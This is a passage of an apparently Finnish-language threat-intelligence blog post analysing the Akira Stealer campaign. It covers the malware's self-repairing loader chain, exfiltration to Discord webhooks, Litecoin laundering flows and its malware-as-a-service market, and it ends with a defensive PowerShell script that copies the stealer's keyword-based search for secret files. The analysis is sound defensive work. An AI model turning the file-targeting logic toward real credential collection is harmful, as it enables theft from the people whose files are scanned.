käyttäjän käynnistyssijaintiin, kuten ",[551,10832,10833],{},"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup",", tai rekisteröidään ",[551,10836,1663],{}," -avaimen kautta. Sen tehtävä on yksinkertainen mutta kriittinen: varmistaa, että ",[551,10839,578],{}," on paikalla, ja käynnistää se hiljaa käyttäjän kirjautumisen yhteydessä. Jos ",[551,10842,578],{}," puuttuu, se purkaa uudelleen arkiston ",[551,10845,1833],{}," (joka sijaitsee väliaikaiskansiossa tai pudotetaan uudelleen) ja regeneroi koko Electron-sovellusrakenteen.",[607,10848,10849,10854,10856,10857,10859],{},[540,10850,10851,10852,1122],{},"Siltaloader (",[551,10853,578],{},[551,10855,578],{}," on Electron-käärittynä Node.js-sovellus. Se ei paljasta mitään käyttöliittymää ja toimii kokonaan taustalla. Suorituksen käynnistyttyä se ajaa ",[551,10858,1055],{},"-arkistoon upotetun JavaScript-logiikan käyttäen Node.js:ää ajoympäristönä. Tämä abstraktiokerros irrottaa ydinlogiikan PE-tyngästä ja auttaa väistämään perinteistä analyysiä.",[607,10861,10862,10867,10869,10870],{},[540,10863,10864,10865,1122],{},"Suorituksen orkestroija (",[551,10866,2817],{},[551,10868,1055],{},":iin upotettuna tämä on tartuntaketjun todellinen ohjain. Sen keskeisiä toimintoja ovat:",[604,10871,10872,10877,10880],{},[607,10873,10874,10876],{},[551,10875,574],{},":n läsnäolon tarkistaminen ja sen uudelleentoimitus, jos se puuttuu",[607,10878,10879],{},"Ajonaikaisen konfiguraation dynaaminen injektointi: webhook-URL:t, C2-osoitteet, tokenit",[607,10881,10882,10883,10885,10886,10888],{},"Joko jo läsnä olevan Python-payloadin (",[551,10884,582],{},") kutsuminen tai sen lataaminen osana ZIP-pakettia (esim. ",[551,10887,2882],{},") hyökkääjän hallitsemasta infrastruktuurista",[607,10890,10891,10896,10897,10899,10900,10902,10903,10906],{},[540,10892,10893,10894,1122],{},"Payloadin suoritus (",[551,10895,582],{},"\nKun ",[551,10898,582],{}," laukaistaan, se suoritetaan muistissa ",[551,10901,553],{},":n kautta. Se kerää järjestelmällisesti tallennetut tunnistetiedot, evästeet, Discord-tokenit, selaimen istuntodatan ja kryptovaluuttalompakkolaajennukset. Data vaiheistetaan ZIP-arkistoon ja exfiltroidaan HTTPS:n kautta — yleisesti Discord-webhookeihin, mutta myös vara-API:ta kuten ",[551,10904,10905],{},"gofile.io"," tai räätälöityjä C2-päätepisteitä on havaittu.",[607,10908,10909,10912,10913,10915,10916,10918,10919,10921,10922,10924,10925,10927],{},[540,10910,10911],{},"Silmukan eheys ja itsekorjautuminen","\nSuunnittelu on kiertävä. Jos ",[551,10914,574],{}," poistetaan, se toimitetaan uudelleen. Jos ",[551,10917,578],{}," puuttuu, ",[551,10920,574],{}," purkaa sen uudelleen arkistosta ",[551,10923,1833],{},". Jos ",[551,10926,582],{}," poistetaan, JavaScript-kerros hankkii sen uudelleen. Tämä keskinäisriippuvuus tekee haittaohjelmasta kestävän ja kykenevän rekonstruoimaan suoritusketjunsa käytännössä mistä tahansa säilyneestä sirpaleesta.",[533,10929,10930,10931,10934],{},"Tämä arkkitehtuuri ei ole vain modulaarinen — se on ",[540,10932,10933],{},"itseään ylläpitävä",", tarkoituksella suunniteltu huomaamattomuuteen, joustavuuteen ja pitkäaikaiseen selviytymiseen kohdeympäristöissä.",[721,10936,10938],{"id":10937},"_82-miksi-tämä-on-huomionarvoista","8.2 Miksi tämä on huomionarvoista",[533,10940,727],{},[533,10942,10943,10944,699],{},"Kampanjan arkkitehtoninen suunnittelu heijastaa hienostuneisuuden tasoa, jota ei tyypillisesti nähdä massainfostealereissa. Se menee yksinkertaisia monivaiheisia loadereita pidemmälle — tämä on haittaohjelma, joka on suunniteltu ",[540,10945,10946],{},"operatiiviseen kestävyyteen, huomaamattomuuteen ja automaatioon",[533,10948,10949],{},[540,10950,10951],{},"Keskeiset ominaisuudet",[604,10953,10954,10960,10997,11017],{},[607,10955,10956,10959],{},[540,10957,10958],{},"Täysi autonomia","\nKun haittaohjelma on otettu käyttöön, se ei vaadi käyttäjän toimia tai ulkoista uudelleenaktivointia. Se toimii kuin haitallinen mikropalvelu — orkestroiden oman persistenssinsä, payloadin suorituksen ja korjausrutiinit ilman ulkoista ohjausta.",[607,10961,10962,10965,10966],{},[540,10963,10964],{},"Monikielinen suorituspino","\nTyökaluketju integroi:",[604,10967,10968,10977,10983,10989],{},[607,10969,10970,6258,10973,620,10975,1122],{},[540,10971,10972],{},"PE-binäärit",[551,10974,574],{},[551,10976,578],{},[607,10978,10979,10982],{},[540,10980,10981],{},"Node.js / JavaScript"," (Electronin kautta)",[607,10984,10985,10988],{},[540,10986,10987],{},"PowerShell"," (käytetty obfuskoituun payloadin välitykseen)",[607,10990,10991,6258,10994,10996],{},[540,10992,10993],{},"Python",[551,10995,582],{},", suoritettu muistinvaraisena stealerina)\nTämä kerroksellinen koostumus tekee sen profiloinnista, sormenjälkien keräämisestä ja analyysistä vaikeampaa perinteisillä staattisilla työkaluilla.",[607,10998,10999,11002,11003],{},[540,11000,11001],{},"Puolustuksen väistely suunnitteluperiaatteena","\nJokainen komponentti on koodattu, salattu tai dynaamisesti injektoitu:",[604,11004,11005,11008,11011,11014],{},[607,11006,11007],{},"Base64-PowerShell-välitys",[607,11009,11010],{},"AES-salattu ja GZIP-pakattu Python-ydin",[607,11012,11013],{},"Obfuskoitu JavaScript ajonaikaisella tokenien injektoinnilla",[607,11015,11016],{},"Itsekorjautuva käyttäytyminen, joka turhauttaa osittaisen poiston",[607,11018,11019,11022,11023,10924,11026,11028,11029,11031],{},[540,11020,11021],{},"Ei yksittäistä vikaantumispistettä","\nHaittaohjelman itsekorjauslogiikka varmistaa, että ",[540,11024,11025],{},"yksittäisen komponentin poistaminen ei riitä",[551,11027,574],{}," poistetaan, infostealer luo sen uudelleen. Jos ",[551,11030,582],{}," poistetaan, JavaScript-ohjain lataa ja toimittaa sen uudelleen.",[533,11033,11034,11035,11038],{},"Lyhyesti sanottuna haittaohjelma käyttäytyy enemmän kuin ",[540,11036,11037],{},"hajautettu järjestelmä"," kuin tyypillinen payload — sellainen, joka priorisoi selviytymiskykyä, modulaarisuutta ja huomaamattomuutta.",[533,11040,11041,11042,11045],{},"Tämä nostaa uhan opportunistisesta hyökkäyksestä ",[540,11043,11044],{},"kestäväksi, mukautuvaksi alustaksi"," — mikä vaatii puolustajilta yhtä kerroksellisia havaitsemis- ja vastestrategioita sen monimutkaisuuden vastaamiseksi.",[721,11047,11049],{"id":11048},"_83-vaikutukset-blue-teameille","8.3 Vaikutukset blue teameille",[533,11051,727],{},[533,11053,11054],{},"Puolustajille ja CSOC-operaattoreille tämänkaltainen arkkitehtuuri nostaa rimaa:",[604,11056,11057,11063,11078],{},[607,11058,11059,11062],{},[540,11060,11061],{},"Osittainen siivous on tehotonta",". Kaikki solmut on tunnistettava ja poistettava samanaikaisesti.",[607,11064,11065,11068,11069,11071,11072,11071,11074,11071,11076,699],{},[540,11066,11067],{},"Defender for Endpointin korrelointi"," on olennaista. Analyytikoiden on jäljitettävä koko ketjut: ",[551,11070,574],{}," → ",[551,11073,1111],{},[551,11075,1206],{},[551,11077,553],{},[607,11079,11080,11083],{},[540,11081,11082],{},"IOC-vapaa persistence"," tarkoittaa, että muistipohjaiset heuristiikat, telemetrian perustason määrittäminen ja ketjupohjainen havaitseminen ovat avainasemassa.",[533,11085,11086,11087,11090],{},"Tämä ei ole vain stealer. Se on ",[540,11088,11089],{},"kestävä haittaohjelma-alusta"," — joka käyttäytyy enemmän kuin hajautettu järjestelmä kuin yksinkertainen uhka. Ja juuri se tekee siitä sekä vaikuttavan että vaarallisen.",[528,11092,11094],{"id":11093},"_9-lohkoketjun-jäljitys-ja-analyysi","9. Lohkoketjun jäljitys ja analyysi",[533,11096,535],{},[721,11098,11100],{"id":11099},"_91-varojen-jakautumisen-jäljittäminen-litecoin-pohjaisessa-haittaohjelmakampanjassa","9.1 Varojen jakautumisen jäljittäminen Litecoin-pohjaisessa haittaohjelmakampanjassa",[533,11102,727],{},[533,11104,11105,11106,11109],{},"Tämän haittaohjelmakampanjan reverse engineering -vaiheessa poimimme useita kovakoodattuja lompakko-osoitteita, joita stealer käytti kryptovaluutan exfiltraatioon. Seuraamalla näiden Litecoin-lompakoiden ketjunsisäistä toimintaa pystyimme paljastamaan kuvioita, jotka viittaavat tarkoitukselliseen rahanpesutaktiikkaan. Hyökkääjän hallitsema lompakko ",[551,11107,11108],{},"LW6EopiZ..."," toimii keskitettynä kokoamispisteenä. Useilta uhreilta varastetut varat ohjataan tähän osoitteeseen, minkä jälkeen ne jaetaan nopeasti uudelleen useisiin uusiin osoitteisiin.",[533,11111,11112],{},"Tässä nähty käyttäytyminen edustaa klassista split-transfer-kuviota, jota käytetään krypton tumblaus- tai mixaus-operaatioissa. Kussakin tapauksessa koko saapuva saldo jaetaan kahteen suunnilleen samansuuruiseen lähtevään tapahtumaan, joista kumpikin lähetetään eri lompakkoon. Tämä strategia on suunniteltu vaikeuttamaan osoitteiden klusterointia ja ketjun jäljitystä hämärtämällä varojen alkuperää. Se on tehokas taktiikka välttää havaitseminen automaattisilla lohkoketjuanalytiikoilla ja threat intelligence -alustoilla.",[533,11114,11115],{},"Tämä rahanpesukäyttäytyminen hyödyntää tapahtumien ajoituksen, tarkan arvojen jakamisen ja osoitteiden uudelleenkäytön minimoinnin yhdistelmää ohittaakseen heuristiikat, joita klusterointialgoritmit kuten GraphSense, Chainalysis tai TRM Labs yleisesti soveltavat. Kokonaistarkoituksena on luoda korkeaentropisia tapahtumavirtoja, jotka sekoittavat attribuution ja häiritsevät linkitettävyyttä, erityisesti kun varat lopulta sillataan muihin varoihin tai vaihdetaan yksityisyyteen keskittyviin kolikoihin.",[533,11117,11118],{},"Alla olevassa esimerkissä näytämme jäsennellyn osajoukon tästä käyttäytymisestä. Saapuvat tapahtumat edustavat erillisiä uhrisiirtoja. Nämä arvot on sitten täydellisesti kartoitettu lähteviin virtoihin, jotka osoittavat kolikoiden \"pesun\" nopeiden, ennustettavien ja algoritmisesti jaettujen maksujen kautta.",[1403,11120,4693,11124],{"className":11121,"style":11123},[11122],"font-size-1","width:100%; border-collapse: collapse;",[1419,11125,11126,4693,11149,4693,11182,4693,11210,4693,11239],{},[1409,11127,4698,11128,4698,11132,4698,11136,4698,11139,4698,11143,4698,11146,4693],{},[1412,11129,11131],{"style":11130},"text-align: left; width: 14%;","Syötelähde",[1412,11133,11135],{"style":11134},"text-align: left; width: 12%;","Syötepäivä",[1412,11137,11138],{"style":11130},"Määrä sisään (LTC)",[1412,11140,11142],{"style":11141},"text-align: left; width: 20%;","→ Hyökkääjän lompakko",[1412,11144,11145],{"style":6314},"Ulosmenevät osoitteet",[1412,11147,11148],{},"Yhteensä ulos (LTC)",[1409,11150,4698,11151,4698,11154,4698,11157,4698,11160,4698,11167,4698,11180,4693],{},[1424,11152,11153],{},"Input_1",[1424,11155,11156],{},"2024-09-21",[1424,11158,11159],{},"0.25339198",[1424,11161,11162,11163,4698],{},"\n      ",[1691,11164,11166],{"title":11165},"LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH","LLQtaBnSAF...",[1424,11168,11169,11170,11173,11174,11169,11176,11179],{},"\n      - ",[551,11171,11172],{},"LZmHkgkED..."," (0.15579078, 2024-09-26)",[701,11175],{},[551,11177,11178],{},"M8JpDsw5H7..."," (0.09760120, 2024-09-26)\n    ",[1424,11181,11159],{},[1409,11183,4698,11184,4698,11187,4698,11190,4698,11193,4698,11197,4698,11208,4693],{},[1424,11185,11186],{},"Input_2",[1424,11188,11189],{},"2024-04-16",[1424,11191,11192],{},"1.09976044",[1424,11194,11162,11195,4698],{},[1691,11196,11166],{"title":11165},[1424,11198,11169,11199,11202,11203,11169,11205,11207],{},[551,11200,11201],{},"LgWrCAF8ED..."," (0.84304664, 2024-06-13)",[701,11204],{},[551,11206,11201],{}," (0.25671380, 2024-06-13)\n    ",[1424,11209,11192],{},[1409,11211,4698,11212,4698,11215,4698,11218,4698,11221,4698,11225,4698,11237,4693],{},[1424,11213,11214],{},"Input_3",[1424,11216,11217],{},"2024-03-06",[1424,11219,11220],{},"0.77089346",[1424,11222,11162,11223,4698],{},[1691,11224,11166],{"title":11165},[1424,11226,11169,11227,11230,11231,11169,11233,11236],{},[551,11228,11229],{},"LZL3wQcSRP..."," (0.38544673, 2024-03-04)",[701,11232],{},[551,11234,11235],{},"M8kiBpVHG3..."," (0.38544673, 2024-03-04)\n    ",[1424,11238,11220],{},[1409,11240,4698,11241,4698,11244,4698,11246,4698,11248,4698,11252,4698,11262,4693],{},[1424,11242,11243],{},"Input_4",[1424,11245,11217],{},[1424,11247,11220],{},[1424,11249,11162,11250,4698],{},[1691,11251,11166],{"title":11165},[1424,11253,11169,11254,11230,11257,11169,11259,11236],{},[551,11255,11256],{},"LUFLTrqYpix...",[701,11258],{},[551,11260,11261],{},"La22dfH9eM...",[1424,11263,11220],{},[835,11265],{"className":11266},[838,839],[528,11268,11270],{"id":11269},"_10-akira-ekosysteemin-sisällä-kaupallistettu-kyberrikollisuuden-infrastruktuuri","10. Akira-ekosysteemin sisällä – kaupallistettu kyberrikollisuuden infrastruktuuri",[533,11272,535],{},[533,11274,11275],{},"Akira ei ole vain stealer—se on kukoistavan maanalaisen ekosysteemin keskipiste, joka on suunniteltu yksinkertaistamaan, skaalaamaan ja rahastamaan kyberrikollisuutta.",[721,11277,11279],{"id":11278},"_101-plug-and-play-ekosysteemi-uhkatoimijoille","10.1 Plug-and-play-ekosysteemi uhkatoimijoille",[533,11281,727],{},[533,11283,11284],{},"Akira-ekosysteemi on esimerkki kyberrikollisuuden kehityksestä ammattimaiseksi, palveluvetoiseksi taloudeksi. Siihen kuuluu:",[604,11286,11287,11296,11302,11308,11314],{},[607,11288,11289,11292,11293,1122],{},[540,11290,11291],{},"Builder-botit"," payloadien tilausgenerointiin (esim. ",[551,11294,11295],{},"@AkiraRedBot",[607,11297,11298,11301],{},[540,11299,11300],{},"Telegram-kanavat"," päivityksiä, ominaisuuspyyntöjä ja asiakastukea varten",[607,11303,11304,11307],{},[540,11305,11306],{},"Automatisoitu lisensointi ja maksujen käsittely",", usein suoraviestien tai anonyymien verkkokauppa-alustojen kuten Sellixin kautta",[607,11309,11310,11313],{},[540,11311,11312],{},"Niputetut moduulit",", kuten leikepöydän kaappaajat, Discord-tokenien loggerit, selaindatan stealerit ja jopa kiristyshaittaohjelmalisäosat",[607,11315,11316,11319],{},[540,11317,11318],{},"Mukautettavat payloadit",", joissa on konfiguraatiokäyttöliittymät kytkinvalintoineen, webhook-syötteineen ja ikonibrändäyksineen",[533,11321,11322],{},[755,11323],{"alt":11324,"src":11325},"Akira Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797420/blog/pics/akira-stealer-v2.jpg",[721,11327,11329],{"id":11328},"_102-kyberrikollisuuden-kaupallistaminen","10.2 Kyberrikollisuuden kaupallistaminen",[533,11331,727],{},[533,11333,11334],{},"Akiran rakenne heijastaa laajempaa liikettä kohti \"Malware-as-a-Service\"-mallia (MaaS), jossa:",[604,11336,11337,11343,11349,11355],{},[607,11338,11339,11342],{},[540,11340,11341],{},"Syvää teknistä osaamista"," ei vaadita hyökkäysten käynnistämiseen",[607,11344,11345,11348],{},[540,11346,11347],{},"Matalat aloituskustannukset"," ($75 kolmeksi kuukaudeksi, $150 elinikäiseksi)",[607,11350,11351,11354],{},[540,11352,11353],{},"Välitön tuki ja dokumentaatio"," Telegramin kautta",[607,11356,11357,11360],{},[540,11358,11359],{},"Yhteisön panokset"," laajentavat Akiraa säännöllisesti skripteillä ja ominaisuusehdotuksilla",[533,11362,11363],{},"Tämä ekosysteemi peilaa laillisia SaaS-liiketoimintamalleja — muutoslokeineen, käyttökokemusparannuksineen, hinnoittelutasoineen ja lisämyynteineen.",[533,11365,11366],{},[755,11367],{"alt":11368,"src":11369},"Akria Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797061/blog/pics/akira-stealer.jpg",[721,11371,11373],{"id":11372},"_103-stealerin-tuolla-puolen-ekosysteemin-komponentit","10.3 Stealerin tuolla puolen – ekosysteemin komponentit",[533,11375,727],{},[533,11377,1722,11378,11380],{},[551,11379,582],{}," on monien hyökkäysten sydän, ekosysteemi tarjoaa täyden ketjun:",[604,11382,11383,11386,11389,11392,11395],{},[607,11384,11385],{},"Obfuskointityökaluja kuten PyInstaller-kääreet",[607,11387,11388],{},"Tiedostobindereitä haitallisten payloadien yhdistämiseen vaarattomaan ohjelmistoon",[607,11390,11391],{},"Kääntäjiä, kryptereitä ja ajonaikaista polymorfismia",[607,11393,11394],{},"Hosting-peilejä payloadin toimitukseen ja exfiltraatioon (esim. GoFile, AnonFiles)",[607,11396,11397],{},"Datanhallintaboteja, jotka tekevät yhteenvedon varastetuista tunnistetiedoista ja laitteistoprofiileista",[533,11399,11400],{},[755,11401],{"alt":11402,"src":11403},"Akira Bot","https://res.cloudinary.com/c4a8/image/upload/v1749797107/blog/pics/akira-bot.jpg",[528,11405,11407],{"id":11406},"_11-akira-stealer-quickcheck-kohteeksi-joutuneet-tiedostot","11. Akira Stealer QuickCheck: kohteeksi joutuneet tiedostot",[533,11409,535],{},[721,11411,11413],{"id":11412},"_111-mihin-tämä-on-tarkoitettu","11.1 Mihin tämä on tarkoitettu?",[533,11415,727],{},[533,11417,11418,11419,7623,11422,7623,11425,7626,11428,11431],{},"Epäillyn Akira Stealer -tartunnan jälkeen on kriittistä tietää heti, mitkä järjestelmäsi tiedostot olivat exfiltraation vaarassa. Yllä kuvattu QuickCheck PowerShell -skripti replikoi Akiran tarkan hakulogiikan: se skannaa käyttäjän ",[540,11420,11421],{},"Desktop",[540,11423,11424],{},"Documents",[540,11426,11427],{},"Downloads",[540,11429,11430],{},"OneDrive","-kansiot tiedostojen varalta, jotka:",[604,11433,11434,11449,11452],{},[607,11435,11436,11437,620,11440,620,11443,8782,11446],{},"Sisältävät arkaluonteisia avainsanoja tiedostonimessään, kuten ",[551,11438,11439],{},"password",[551,11441,11442],{},"wallet",[551,11444,11445],{},"backup",[551,11447,11448],{},"token",[607,11450,11451],{},"Ovat tiettyjä yleisesti kohteena olevia tiedostopäätteitä (.txt, .docx, .pdf, .jpg jne.)",[607,11453,11454],{},"Jäävät haittaohjelman asettaman 2 MB:n kokorajan alle",[533,11456,11457,11458,11461],{},"Vaikka QuickCheck tarjoaa nopean yleiskuvan Akira Stealerin sisäisen logiikan pohjalta, ",[540,11459,11460],{},"se ei korvaa"," kattavia forensisia työkaluja tai ammattimaista incident responsea. Seuraa vahvistettujen murtojen kohdalla aina syvemmällä analyysillä.",[533,11463,11464,11465,620,11468,620,11471,1264,11474,699],{},"Sen jälkeen se esittää lajitellun taulukon, jossa on ",[540,11466,11467],{},"tiedostonimi",[540,11469,11470],{},"suhteellinen polku",[540,11472,11473],{},"Size (KB)",[540,11475,11476],{},"osuman laukaissut avainsana",[829,11478,11479],{},[533,11480,11481,11484,11485,11488,11489,11491,11492,11495],{},[540,11482,11483],{},"DISCLAIMER","\nTämä työkalu toimitetaan ",[540,11486,11487],{},"”as is”"," ilman minkäänlaista takuuta täydellisyydestä tai soveltuvuudesta tiettyyn tarkoitukseen. Se ",[540,11490,1592],{}," takaa ",[540,11493,11494],{},"kaikkien"," mahdollisesti arkaluonteisten tiedostojen havaitsemista eikä korvaa täyttä haittaohjelmaforensiikkaa. Käyttö omalla vastuulla.",[835,11497],{"className":11498},[838],[721,11500,11502],{"id":11501},"oikeudellinen-huomautus","Oikeudellinen huomautus",[533,11504,727],{},[533,11506,11507,11508,11511,11512,11515],{},"Tämä QuickCheck-apuohjelma on tarkoitettu ainoastaan ",[540,11509,11510],{},"defensiivisiin tietoturva-arviointeihin",". Luvaton skannaus tai käyttö järjestelmissä, joita et omista, voi rikkoa yksityisyyttä, tekijänoikeutta tai tietokoneiden väärinkäyttöä koskevia lakeja. glueckkanja AG ei ota ",[540,11513,11514],{},"mitään vastuuta"," väärinkäytöstä tai vahingoista, jotka aiheutuvat sen käytöstä.",[721,11517,11519],{"id":11518},"powershell-skripti","PowerShell-skripti",[533,11521,727],{},[588,11523,11525],{"className":1685,"code":11524,"language":1687,"meta":594,"style":594},"\u003C#\n.SYNOPSIS\n    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n\n.DESCRIPTION\n    Scans Desktop, Documents, Downloads and OneDrive for files that:\n      • Contain one of the defined keywords in their name\n      • Have an allowed file extension\n      • Are not larger than 2 MB\n    Presents the results in a colored, tabular overview.\n\n.NOTES\n    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n#>\n\n# -------------------------------------\n# 1. Configuration\n# -------------------------------------\n$scanFolders = @(\n    \"$env:USERPROFILE\\Desktop\",\n    \"$env:USERPROFILE\\Documents\",\n    \"$env:USERPROFILE\\Downloads\",\n    \"$env:USERPROFILE\\OneDrive\"\n)\n$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n$maxSize    = 2MB\n\n# -------------------------------------\n# 2. Scan and Collect Matches\n# -------------------------------------\n$matches = [System.Collections.Generic.List[PSObject]]::new()\n\nforeach ($folder in $scanFolders) {\n    if (-not (Test-Path $folder)) { continue }\n    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n        # 2.1 Extension filter\n        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n        # 2.2 Size filter\n        if ($_.Length -gt $maxSize) { return }\n\n        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n        $hit = $null\n        foreach ($kw in $keywords) {\n            if ($_.Name.ToLower().Contains($kw)) {\n                $hit = $kw\n                break\n            }\n        }\n        if (-not $hit) { return }\n\n        # 2.4 Build relative path\n        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n\n        # 2.5 Collect\n        $matches.Add([PSCustomObject]@{\n            FileName    = $_.Name\n            Location    = $rel\n            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n            Keyword     = $hit\n        })\n    }\n}\n\n# -------------------------------------\n# 3. Display Results\n# -------------------------------------\nclear\nWrite-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\nWrite-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n\nif ($matches.Count -gt 0) {\n    $matches |\n        Sort-Object Location, FileName |\n        Format-Table -AutoSize `\n            @{Label='File';       Expression={$_.FileName}},\n            @{Label='Location';   Expression={$_.Location}},\n            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n            @{Label='Keyword';    Expression={$_.Keyword}}\n\n    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n}\nelse {\n    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n}\n\nWrite-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\nWrite-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[551,11526,11527,11532,11537,11542,11546,11551,11556,11561,11566,11571,11576,11580,11585,11590,11595,11599,11604,11609,11613,11618,11623,11628,11633,11638,11642,11647,11652,11657,11661,11665,11670,11674,11679,11683,11688,11693,11698,11703,11708,11713,11718,11722,11727,11732,11737,11742,11747,11752,11757,11762,11767,11771,11776,11781,11785,11790,11795,11800,11805,11810,11815,11820,11825,11829,11833,11837,11842,11846,11851,11856,11861,11865,11870,11875,11880,11885,11890,11895,11900,11906,11911,11917,11922,11928,11934,11939,11944,11950],{"__ignoreMap":594},[1691,11528,11529],{"class":1693,"line":1694},[1691,11530,11531],{},"\u003C#\n",[1691,11533,11534],{"class":1693,"line":2070},[1691,11535,11536],{},".SYNOPSIS\n",[1691,11538,11539],{"class":1693,"line":2076},[1691,11540,11541],{},"    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n",[1691,11543,11544],{"class":1693,"line":2082},[1691,11545,3863],{"emptyLinePlaceholder":325},[1691,11547,11548],{"class":1693,"line":2406},[1691,11549,11550],{},".DESCRIPTION\n",[1691,11552,11553],{"class":1693,"line":2412},[1691,11554,11555],{},"    Scans Desktop, Documents, Downloads and OneDrive for files that:\n",[1691,11557,11558],{"class":1693,"line":3070},[1691,11559,11560],{},"      • Contain one of the defined keywords in their name\n",[1691,11562,11563],{"class":1693,"line":3866},[1691,11564,11565],{},"      • Have an allowed file extension\n",[1691,11567,11568],{"class":1693,"line":3872},[1691,11569,11570],{},"      • Are not larger than 2 MB\n",[1691,11572,11573],{"class":1693,"line":4118},[1691,11574,11575],{},"    Presents the results in a colored, tabular overview.\n",[1691,11577,11578],{"class":1693,"line":5037},[1691,11579,3863],{"emptyLinePlaceholder":325},[1691,11581,11582],{"class":1693,"line":5043},[1691,11583,11584],{},".NOTES\n",[1691,11586,11587],{"class":1693,"line":5049},[1691,11588,11589],{},"    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n",[1691,11591,11592],{"class":1693,"line":5055},[1691,11593,11594],{},"#>\n",[1691,11596,11597],{"class":1693,"line":5061},[1691,11598,3863],{"emptyLinePlaceholder":325},[1691,11600,11601],{"class":1693,"line":5067},[1691,11602,11603],{},"# -------------------------------------\n",[1691,11605,11606],{"class":1693,"line":5073},[1691,11607,11608],{},"# 1. Configuration\n",[1691,11610,11611],{"class":1693,"line":5079},[1691,11612,11603],{},[1691,11614,11615],{"class":1693,"line":5085},[1691,11616,11617],{},"$scanFolders = @(\n",[1691,11619,11620],{"class":1693,"line":5091},[1691,11621,11622],{},"    \"$env:USERPROFILE\\Desktop\",\n",[1691,11624,11625],{"class":1693,"line":5097},[1691,11626,11627],{},"    \"$env:USERPROFILE\\Documents\",\n",[1691,11629,11630],{"class":1693,"line":5103},[1691,11631,11632],{},"    \"$env:USERPROFILE\\Downloads\",\n",[1691,11634,11635],{"class":1693,"line":5109},[1691,11636,11637],{},"    \"$env:USERPROFILE\\OneDrive\"\n",[1691,11639,11640],{"class":1693,"line":5115},[1691,11641,5256],{},[1691,11643,11644],{"class":1693,"line":5121},[1691,11645,11646],{},"$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n",[1691,11648,11649],{"class":1693,"line":5788},[1691,11650,11651],{},"$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n",[1691,11653,11654],{"class":1693,"line":5793},[1691,11655,11656],{},"$maxSize    = 2MB\n",[1691,11658,11659],{"class":1693,"line":5798},[1691,11660,3863],{"emptyLinePlaceholder":325},[1691,11662,11663],{"class":1693,"line":5803},[1691,11664,11603],{},[1691,11666,11667],{"class":1693,"line":5809},[1691,11668,11669],{},"# 2. Scan and Collect Matches\n",[1691,11671,11672],{"class":1693,"line":713},[1691,11673,11603],{},[1691,11675,11676],{"class":1693,"line":5818},[1691,11677,11678],{},"$matches = [System.Collections.Generic.List[PSObject]]::new()\n",[1691,11680,11681],{"class":1693,"line":5823},[1691,11682,3863],{"emptyLinePlaceholder":325},[1691,11684,11685],{"class":1693,"line":5828},[1691,11686,11687],{},"foreach ($folder in $scanFolders) {\n",[1691,11689,11690],{"class":1693,"line":5833},[1691,11691,11692],{},"    if (-not (Test-Path $folder)) { continue }\n",[1691,11694,11695],{"class":1693,"line":5838},[1691,11696,11697],{},"    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n",[1691,11699,11700],{"class":1693,"line":5844},[1691,11701,11702],{},"        # 2.1 Extension filter\n",[1691,11704,11705],{"class":1693,"line":5850},[1691,11706,11707],{},"        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n",[1691,11709,11710],{"class":1693,"line":5856},[1691,11711,11712],{},"        # 2.2 Size filter\n",[1691,11714,11715],{"class":1693,"line":5861},[1691,11716,11717],{},"        if ($_.Length -gt $maxSize) { return }\n",[1691,11719,11720],{"class":1693,"line":5866},[1691,11721,3863],{"emptyLinePlaceholder":325},[1691,11723,11724],{"class":1693,"line":5871},[1691,11725,11726],{},"        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n",[1691,11728,11729],{"class":1693,"line":5876},[1691,11730,11731],{},"        $hit = $null\n",[1691,11733,11734],{"class":1693,"line":5882},[1691,11735,11736],{},"        foreach ($kw in $keywords) {\n",[1691,11738,11739],{"class":1693,"line":5887},[1691,11740,11741],{},"            if ($_.Name.ToLower().Contains($kw)) {\n",[1691,11743,11744],{"class":1693,"line":5892},[1691,11745,11746],{},"                $hit = $kw\n",[1691,11748,11749],{"class":1693,"line":5897},[1691,11750,11751],{},"                break\n",[1691,11753,11754],{"class":1693,"line":5902},[1691,11755,11756],{},"            }\n",[1691,11758,11759],{"class":1693,"line":5907},[1691,11760,11761],{},"        }\n",[1691,11763,11764],{"class":1693,"line":5912},[1691,11765,11766],{},"        if (-not $hit) { return }\n",[1691,11768,11769],{"class":1693,"line":5918},[1691,11770,3863],{"emptyLinePlaceholder":325},[1691,11772,11773],{"class":1693,"line":5924},[1691,11774,11775],{},"        # 2.4 Build relative path\n",[1691,11777,11778],{"class":1693,"line":5930},[1691,11779,11780],{},"        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n",[1691,11782,11783],{"class":1693,"line":5936},[1691,11784,3863],{"emptyLinePlaceholder":325},[1691,11786,11787],{"class":1693,"line":5941},[1691,11788,11789],{},"        # 2.5 Collect\n",[1691,11791,11792],{"class":1693,"line":5946},[1691,11793,11794],{},"        